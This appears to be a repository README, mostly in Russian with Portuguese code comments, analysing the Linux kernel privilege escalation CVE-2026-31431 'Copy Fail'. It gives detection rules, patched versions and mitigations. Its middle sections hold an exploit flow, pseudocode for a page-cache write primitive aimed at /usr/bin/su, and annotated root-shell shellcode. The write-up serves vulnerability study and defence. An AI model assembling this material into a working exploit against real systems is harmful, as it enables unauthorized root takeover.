
Образовательный анализ CVE-2026-31431 — локального повышения привилегий в ядре Linux через операцию AF_ALG AEAD на месте, включая техническую первопричину, обнаружение и меры по смягчению.
Образовательный технический анализ одной из самых значимых уязвимостей ядра Linux со времен Dirty Pipe (2022).
Этот репозиторий предназначен для исследований, изучения и защиты. Здесь не распространяется ни один рабочий эксплойт.
CVE-2026-31431, получившая прозвище Copy Fail, — это уязвимость локального повышения привилегий (LPE — Local Privilege Escalation) в ядре Linux. Она позволяет любому непривилегированному пользователю получить доступ root за считанные секунды.
Представьте, что у операционной системы есть рабочая память (называемая page cache), где хранятся копии файлов, которые используются в данный момент. Когда вы запускаете программу, система загружает её в эту память и выполняет оттуда — а не напрямую с диска.
Copy Fail позволяет обычному пользователю изменить эту копию в памяти специальной программы (бинарного файла setuid, например, команды su), не затрагивая исходный файл на диске. Файл на диске остаётся нетронутым, но при запуске программы система считывает повреждённую версию из памяти.
Это как подменить рецепт блюда в памяти шеф-повара, пока он готовит, — оригинальная кулинарная книга не меняется, но блюдо, которое получается на выходе, совершенно другое.
Результат: повреждённая программа выполняет код атакующего с правами root.
Что делает это особенно опасным:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## Как это работает технически
### Обзор потока```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
Ошибка находится в crypto/algif_aead.c. В 2017 году операция AEAD была переведена на in-place для повышения производительности:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
Алгоритм `authencesn` использует целевой буфер как *scratch space* для переупорядочивания байтов Extended Sequence Number (ESN) из IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
Запись полностью обходит VFS. Изменённая страница никогда не помечается как dirty механизмом writeback ядра. Файл на диске остаётся нетронутым. Инструменты целостности, основанные на хэшах (aide, tripwire, inotifywait), ничего не обнаруживают, потому что они отслеживают диск, а не page cache.
Эксплойт встраивает мини-ELF размером 160 байт, сжатый с помощью zlib. После распаковки исполняемая часть выглядит так:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**Минимальная структура ELF (всего 160 байт):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
Версии ядра:
Дистрибутивы с подтверждёнными рабочими эксплойтами:
Необходимое условие: CONFIG_CRYPTO_USER_API_AEAD=y или =m в ядре
Проверка, подвержена ли система уязвимости:```bash
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
---
## Android затронут?
**Краткий ответ:** стандартный Android (AOSP/GKI) **на практике не уязвим**, но устройства с нестандартными конфигурациями заслуживают проверки.
### Анализ по предварительным условиям```
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
1. CONFIG_CRYPTO_USER_API_AEAD отсутствует в GKI
Google не включает эту опцию в стандартный gki_defconfig для arm64. Android использует BoringSSL в userspace для шифрования и не полагается на AF_ALG.
2. SELinux enforcing
Домен untrusted_app SELinux в Android не имеет разрешения create для AF_ALG. Вызов socket(AF_ALG, SOCK_SEQPACKET, 0) отклоняется с EACCES до того, как достигнет подсистемы шифрования.
3. Seccomp-bpf
Приложения Android работают с фильтром seccomp, который блокирует socket() с domain=AF_ALG — его нет в whitelist разрешённых syscalls для сторонних приложений.
4. Отсутствие setuid-бинарников
Android не использует традиционную модель setuid из Linux. Привилегированные бинарники используют конкретные capabilities или работают как сервисы с выделенными UID. В продакшен-сборках AOSP нет /usr/bin/su.
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
adb shell getenforce
adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null
---
## Обнаружение
### Falco (обнаружение в реальном времени)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]
### Проверить, была ли система скомпрометирована```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)
# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição
sudo apt update && sudo apt upgrade linux-image-generic sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo pacman -Syu linux sudo reboot
uname -r
**Исправленные версии по сериям:**
| Серия | Исправленная версия |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+ | **7.0** (исправление включено) |
### Вариант 2 — Отключение algif_aead (временный обходной путь)
**Если `CONFIG_CRYPTO_USER_API_AEAD=m` (загружаемый модуль):**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true
Se CONFIG_CRYPTO_USER_API_AEAD=y (встроенный — случай RHEL/Rocky/CloudLinux):
⚠️ Приведённая выше команда не работает, когда модуль скомпилирован в ядро.```bash
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot
cat /proc/cmdline | grep algif_aead_init
**Подтверждение, что обходное решение работает:**```bash
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"
Совместимость обходного решения:
Блокировка algif_aead не влияет на dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Она затрагивает только приложения, которые явно используют AF_ALG для AEAD (редко — например, OpenSSL с engine afalg, аппаратная разгрузка криптографии).
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }
---
## Учебные реализации
В этом репозитории документируется механизм эксплойта на нескольких языках в образовательных целях. Основное внимание уделяется пониманию того, **как** работает уязвимость, а не распространению атакующих инструментов.
### Структура механизма (псевдокод)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
Файл copyfail_study.md содержит полные и прокомментированные реализации.
Извлечённый шеллкод (после декомпрессии zlib из PoC) выполняет:```
Total: 26 байт кода + 8 байт строки = 34 байта шеллкода внутри ELF размером 160 байт.
---
## Ссылки
| Ресурс | Ссылка |
|---|---|
| Оригинальный writeup (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Официальный сайт CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Оригинальный репозиторий PoC | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Основной патч | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
| Анализ Sysdig + правило Falco | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Анализ Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| Advisory CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Анализ Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| Обсуждение OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| Патч AlmaLinux | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| Патч CloudLinux + анализ workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
---
## Дисклеймер
Этот репозиторий имеет **исключительно образовательную цель и предназначен для исследований в области защитной безопасности**. Содержимое здесь предназначено для:
- Специалистов по наступательной и защитной безопасности
- Исследователей уязвимостей
- Студентов, изучающих информационную безопасность
- Системных администраторов, которым необходимо понять риск, чтобы смягчить его
**Не используйте эти знания на системах без явного разрешения владельца.** Несанкционированный доступ к компьютерным системам является преступлением практически во всех юрисдикциях (в Бразилии — Закон 12.737/2012 — Закон Каролины Дикманн; Закон 14.155/2021).
---
*Последнее обновление: май 2026 года*
*Приветствуются contributions через PR — сохраняйте образовательную и защитную направленность.*
| Атрибут | Значение |
|---|
| CVE | CVE-2026-31431 |
| Оценка CVSS | 7.8 HIGH |
| Тип | Local Privilege Escalation (LPE) |
| Подсистема | crypto/algif_aead.c — AF_ALG |
| Появилась в | Kernel 4.14 (коммит 72548b093ee3, июль 2017) |
| Исправлена в | 6.18.22 / 6.19.12 / 7.0 (коммит a664bf3d603d) |
| Обнаружена | Taeyang Lee — Theori / Xint Code |
| Публичное раскрытие | 29 апреля 2026 |
| Публичный PoC | Да — Python-скрипт размером ~732 байта |
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) |
|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| Тип | Гонка данных в CoW | Буфер pipe без флагов | Логическая ошибка в AEAD |
| Надёжность | Зависит от гонки (~мс) | Детерминированная | Детерминированная |
| След на диске | Да (грязные страницы) | Нет | Нет |
| Переносимость | Широкая | Определённые версии | Универсальная (2017–2026) |
| Размер PoC | ~50 строк C | ~40 строк C | ~10 строк Python |
| Подсистема | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| Обнаружение | Вручную | Вручную | С помощью ИИ |
| Окно эксплуатации | Окно гонки | Отсутствует | Отсутствует |
| Сценарий | Риск |
|---|
| Устройство с Magisk/KernelSU + SELinux permissive | Высокий — все предпосылки могут совпасть |
OEM-ядро с CONFIG_CRYPTO_USER_API_AEAD=y + eng build | Средний — зависит от доступа к shell |
| Вредоносное приложение на нерутованном устройстве | Нет — SELinux + seccomp блокируют |
| ADB в продакшен-сборке | Нет — adb root не работает |
| Язык | Описание |
|---|
| Python (деобфусцированный) | Чистая и прокомментированная версия оригинального PoC |
| NASM x86_64 | Аннотированный по инструкциям ELF-пейлоад |
| Go | Использование syscall.RawSyscall6 для прямого вызова SYS_SPLICE и SYS_SETSOCKOPT |
| C | Реализация с struct msghdr, CMSG_DATA и zlib в рантайме |